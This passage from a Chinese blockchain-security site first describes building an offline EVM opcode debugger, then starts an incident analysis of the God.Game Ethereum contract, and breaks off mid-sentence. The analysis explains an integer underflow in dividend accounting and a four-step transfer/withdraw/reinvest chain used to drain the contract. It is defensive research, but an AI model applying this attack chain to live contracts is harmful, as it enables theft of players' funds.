    上一篇《以太坊智能合约 OPCODE 逆向之理论基础篇》,对智能合约的OPCODE的基础数据结构进行了研究分析,本篇将继续深入研究OPCODE,编写一个智能合约的调试器。

    Remix调试器

    Remix带有一个非常强大的Debugger,当我的调试器写到一半的时候,才发现了Remix自带调试器的强大之处,本文首先,对Remix的调试器进行介绍。

    能调试的范围:

    1. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时,在执行成功后,都能在下方的控制界面点击DEBUG按钮进行调试

    2. Debugger能对任意交易进行调试,只需要在调试窗口输入对应交易地址

    3. 能对公链,测试链,私链上的任意交易进行调试

    点击Environment可以对区块链环境进行设置,选择Injected Web3,环境取决去浏览器安装的插件

    比如我,使用的浏览器是Chrome,安装的插件是MetaMask

    通过MetaMask插件,我能选择环境为公链或者是测试链,或者是私链

    Environment设置为Web3 Provider可以自行添加以太坊区块链的RPC节点,一般是用于设置环境为私链

    4. 在JavaScript的EVM环境中进行调试

    见3中的图,把Environment设置为JavaScript VM则表示使用本地虚拟环境进行调试测试

    在调试的过程中能做什么?

    Remix的调试器只提供了详细的数据查看功能,没法在特定的指令对STACK/MEM/STORAGE进行操作

    在了解清楚Remix的调试器的功能后,感觉我进行了一半的工作好像是在重复造轮子。

    之后仔细思考了我写调试器的初衷,今天的WCTF有一道以太坊智能合约的题目,因为第一次认真的逆向EVM的OPCODE,不熟练,一个下午还差一个函数没有逆向出来,然后比赛结束了,感觉有点遗憾,如果当时能动态调试,可能逆向的速度能更快。

    Remix的调试器只能对已经发生的行为(交易)进行调试,所以并不能满足我打CTF的需求,所以对于我写的调试器,我转换了一下定位:调试没有源码,只有OPCODE的智能合约的逻辑,或者可以称为离线调试。

    调试器的编写

    智能合约调试器的编写,我认为最核心的部分是实现一个OPCODE解释器,或者说是自己实现一个EVM。

    实现OPCODE解释器又分为两部分,1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器),2. 解析OPCODE指令

    数据储存器

    STACK

    根据OPCODE指令的情况,EVM的栈和计算机的栈数据结构是一个样的,先入先出,都有PUSHPOP操作。不过EVM的栈还多了SWAPDUP操作,栈交换和栈复制,如下所示,是我使用Python实现的EVM栈类:

    和计算机的栈比较,我觉得EVM的栈结构更像Python的List结构

    计算机的栈是一个地址储存一个字节的数据,取值可以精确到一个字节,而EVM的栈是分块储存,每次PUSH占用一块,每次POP取出一块,每块最大能储存32字节的数据,也就是2^256-1,所以上述代码中,对每一个存入栈中的数据进行取余计算,保证栈中的数据小于2^256-1

    MEM

    EVM的内存的数据结构几乎和计算机内存的一样,一个地址储存一字节的数据。在EVM中,因为栈的结构,每块储存的数据最大为256bits,所以当OPCODE指令需要的参数长度可以大于256bits时,将会使用到内存

    如下所示,是我使用Python实现的MEM内存类:

    使用python3中的bytearray类型作为MEM的结构,默认初始化256B的内存空间,因为有一个OPCODE是MSIZE:

    Get the size of active memory in bytes.

    所以每次设置内存值时,都要计算active memory的size

    内存相关设置的指令分为三类

    1. MSTORE, 储存0x20字节长度的数据到内存中
    2. MSTORE8, 储存1字节长度的数据到内存中
    3. CALLDATACOPY(或者其他类似指令),储存指定字节长度的数据到内存中

    所以对应的设置了3个不同的储存数据到内存中的函数。获取内存数据的类似。

    STORAGE

    EVM的STORAGE的数据结构和计算机的磁盘储存结构相差就很大了,STORAGE是用来储存全局变量的,全局变量的数据结构我在上一篇文章中分析过,所以在用Python实现中,我把STORAGE定义为了字典,相关代码如下:

    因为EVM中操作STORAGE的相关指令只有SSTORESLOAD,所以使用python的dict类型作为STORAGE的结构最为合适

    解析OPCODE指令

    对于OPCODE指令的解析难度不是很大,指令只占一个字节,所以EVM的指令最多也就256个指令(0x00-0xff),但是有很多都是处于UNUSE,所以以后智能合约增加新指令后,调试器也要进行更新,因此现在写的代码需要具备可扩展性。虽然解析指令的难度不大,但是仍然是个体力活,下面先来看看OPCODE的分类

    OPCODE分类

    在以太坊官方黄皮书中,对OPCODE进行了相应的分类:

    0s: Stop and Arithmetic Operations (从0x00-0x0f的指令类型是STOP指令加上算术指令)

    10s: Comparison & Bitwise Logic Operations (0x10-0x1f的指令是比较指令和比特位逻辑指令)

    20s: SHA3 (目前0x20-0x2f只有一个SHA3指令)

    30s: Environmental Information (0x30-0x3f是获取环境信息的指令)

    40s: Block Information (0x40-0x4f是获取区块信息的指令)

    50s: Stack, Memory, Storage and Flow Operations (0x40-0x4f是获取栈、内存、储存信息的指令和流指令(跳转指令))

    60s & 70s: Push Operations (0x60-0x7f是32个PUSH指令,PUSH1-PUSH32)

    80s: Duplication Operations (0x80-0x8f属于DUP1-DUP16指令)

    90s: Exchange Operations (0x90-0x9f属于SWAP1-SWAP16指令)

    a0s: Logging Operations (0xa0-0xa4属于LOG0-LOG4指令)

    f0s: System operations (0xf0-0xff属于系统操作指令)

    设计可扩展的解释器

    首先,设计一个字节和指令的映射表:

    然后就是设计一个解释器类:

    • MAX变量用来控制计算的结果在256bits的范围内
    • over变量用来标识程序是否执行结束
    • store用来访问runtime变量: STACK, MEM, STORAGE

    在这种设计模式下,当解释响应的OPCODE,可以直接使用

    特殊指令的处理思路

    在OPCODE中有几类特殊的指令:

    1. 获取区块信息的指令,比如:

    NUMBER: Get the block’s number

    该指令是获取当前交易打包进的区块的区块数(区块高度),解决这个指令有几种方案:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值
    • 设置RPC地址,从区块链中获取该值

    文章的开头提过了对我编写的调试器的定位问题,也正是因为遇到该类的指令,才去思考调试器的定位。既然已经打包进了区块,说明是有交易地址的,既然有交易地址,那完全可以使用Remix的调试器进行调试。

    所以对我编写的调试器有了离线调试器的定位,采用上述方法中的前三个方法,优先级由高到低分别是,手动设置>配置文件设置>默认设置

    2. 获取环境信息指令,比如:

    ADDRESS: Get address of currently executing account.

    获取当前合约的地址,解决方案如下:

    • 设置默认值
    • 设置一个配置文件,在配置文件中设置该指令的返回值
    • 调试者手动利用调试器设置该值

    获取环境信息的指令,因为调试的是OPCODE,没有源码,不需要部署,所以是没法通过RPC获取到的,只能由调试者手动设置

    3. 日志指令

    LOG0-LOG4: Append log record with no topics.

    把日志信息添加到交易的回执单中

    上述就是获取一个交易的回执单,其中有一个logs列表,就是用来储存日志信息

    既然是在调试OPCODE,那么记录日志的操作就是没有必要的,因为调试的过程中能看到储存器/参数的情况,所以对于这类指令的操作,完全可以直接输出,或者不做任何处理(直接pass)

    4. 系统操作指令

    这类指令主要是外部调用相关的指令,比如可以创建合约的CREATE, 比如能调用其他合约的CALL, 比如销毁自身,并把余额全部转给别人的SELFDESTRUCT

    这类的指令我认为的解决办法只有: 调试者手动利用调试器设置该指令的返回值

    调用这类函数的时候,我们完全能看到详细的参数值,所以完全可以手动的进行创建合约,调用合约等操作

    总结

    在完成一个OPCODE的解释器后,一个调试器就算完成了3/4, 剩下的工作就是实现自己想实现的调试器功能,比如下断点,查看栈内存储存数据等

    下面放一个接近成品的演示gif图:


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/693/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 智能合约游戏之殇——God.Game 事件分析

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月24日

    0x00 前言

    当你凝视深渊时,深渊也在凝视着你。

    越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。

    分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。

    游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。

    时间线

    • 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
    • 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。

    知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。

    0x01 合约介绍

    智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。

    God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。

    ERC20 token

    token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。

    合约功能

    在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。

    • 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
    • 转账token:你可以将手中的token转账给他人。
    • 出售token:将手中的token出售为可提款。
    • 提取红利:将分红转为以太币提取出来。
    • 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】

    token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。

    代码浅析

    我们将简要介绍合约中出现的几个重要变量。

    在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量

    用户信息

    • token【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。
    • token * profitPerShare 可以看作是账户token的价值
    • payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
    • token * profitPerShare - payoutsTo_ 可以看作用户在此合约内现在可以使用的钱, 定义为红利。

    合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。

    全局变量

    以下变量是全局中浮动的

    重要的临时变量

    dividends = 账户总价值 - 已用的钱【payout】

    dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。

    每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)

    这里也是本次攻击的溢出点。

    0x02 漏洞点

    漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。

    计算分红

    从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。

    转账transfer()

    我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。

    这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。

    我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。

    导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。

    这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。

    0x03 攻击链

    这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱

    1. 攻击者 ==转账==> 攻击合约
      合约状况:
    2. 攻击合约 withdraw()
      合约状况:
    3. 攻击合约 ==转账==> 攻击者
      合约状况:
    4. 攻击合约 reinvest()
      合约状况:

    再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。

    0x04 实际流程

    攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。

    攻击合约逆向

    知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。

    得到的函数列表

    而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如: